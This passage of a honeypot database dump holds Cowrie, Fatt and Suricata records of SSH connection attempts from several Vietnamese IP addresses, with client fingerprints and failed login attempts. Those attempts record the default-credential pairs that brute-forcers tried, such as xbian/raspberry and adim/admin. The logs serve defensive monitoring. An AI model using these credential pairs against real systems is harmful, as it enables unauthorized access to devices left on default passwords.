"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25254	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:09:38.431921+03	2021-09-20 14:15:09.875499+03	{"_id": "yAblAnwBvYTbRNuErhjQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 34002, "dest_port": 22, "timestamp": "2021-09-20T11:09:38.431921", "@timestamp": "2021-09-20T11:09:38.431Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25255	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:09:38.308731+03	2021-09-20 14:15:09.8765+03	{"_id": "ygblAnwBvYTbRNuErhjQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 60670, "dest_port": 22, "timestamp": "2021-09-20T11:09:38.308731", "@timestamp": "2021-09-20T11:09:38.308Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25256	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:39.014053+03	2021-09-20 14:15:09.87847+03	{"_id": "ywblAnwBvYTbRNuErxht", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:35274 (192.168.176.2:22) [session: 4bc21f302bb8]", "session": "4bc21f302bb8", "@version": "1", "protocol": "ssh", "src_port": 35274, "dest_port": 22, "timestamp": "2021-09-20T11:09:39.014053Z", "@timestamp": "2021-09-20T11:09:39.014Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25257	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:39.018208+03	2021-09-20 14:15:09.880499+03	{"_id": "zAblAnwBvYTbRNuErxht", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:38666 (192.168.176.2:22) [session: 86ca313c6bbd]", "session": "86ca313c6bbd", "@version": "1", "protocol": "ssh", "src_port": 38666, "dest_port": 22, "timestamp": "2021-09-20T11:09:39.018208Z", "@timestamp": "2021-09-20T11:09:39.018Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
25258	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:39.334419+03	2021-09-20 14:15:09.882471+03	{"_id": "zQblAnwBvYTbRNuErxht", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:35820 (192.168.176.2:22) [session: 62d0772e9307]", "session": "62d0772e9307", "@version": "1", "protocol": "ssh", "src_port": 35820, "dest_port": 22, "timestamp": "2021-09-20T11:09:39.334419Z", "@timestamp": "2021-09-20T11:09:39.334Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
25259	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:39.036307+03	2021-09-20 14:15:09.8835+03	{"_id": "3gblAnwBvYTbRNuErxht", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "86ca313c6bbd", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:39.036307Z", "@timestamp": "2021-09-20T11:09:39.036Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
25260	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:39.184337+03	2021-09-20 14:15:09.8855+03	{"_id": "3wblAnwBvYTbRNuErxht", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [adim/admin] failed", "session": "73161241e082", "@version": "1", "password": "admin", "username": "adim", "timestamp": "2021-09-20T11:09:39.184337Z", "@timestamp": "2021-09-20T11:09:39.184Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25261	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:09:39.202811+03	2021-09-20 14:15:09.886501+03	{"_id": "4AblAnwBvYTbRNuErxht", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [ivory/ivory] failed", "session": "8f0fa4d51bfa", "@version": "1", "password": "ivory", "username": "ivory", "timestamp": "2021-09-20T11:09:39.202811Z", "@timestamp": "2021-09-20T11:09:39.202Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25262	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:39.21468+03	2021-09-20 14:15:09.8875+03	{"_id": "4QblAnwBvYTbRNuErxht", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [xbian/raspberry] failed", "session": "f75dfbc026d8", "@version": "1", "password": "raspberry", "username": "xbian", "timestamp": "2021-09-20T11:09:39.214680Z", "@timestamp": "2021-09-20T11:09:39.214Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
25263	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:39.296803+03	2021-09-20 14:15:09.889503+03	{"_id": "4gblAnwBvYTbRNuErxht", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "86ca313c6bbd", "@version": "1", "timestamp": "2021-09-20T11:09:39.296803Z", "@timestamp": "2021-09-20T11:09:39.296Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
25264	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:39.307603+03	2021-09-20 14:15:09.8905+03	{"_id": "4wblAnwBvYTbRNuErxht", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "4bc21f302bb8", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:39.307603Z", "@timestamp": "2021-09-20T11:09:39.307Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25265	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:39.357416+03	2021-09-20 14:15:09.892499+03	{"_id": "5AblAnwBvYTbRNuErxht", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "62d0772e9307", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:39.357416Z", "@timestamp": "2021-09-20T11:09:39.357Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
25266	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:09:29.041914+03	2021-09-20 14:15:09.8945+03	{"_id": "AAblAnwBvYTbRNuEihiV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1881223255847649, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": 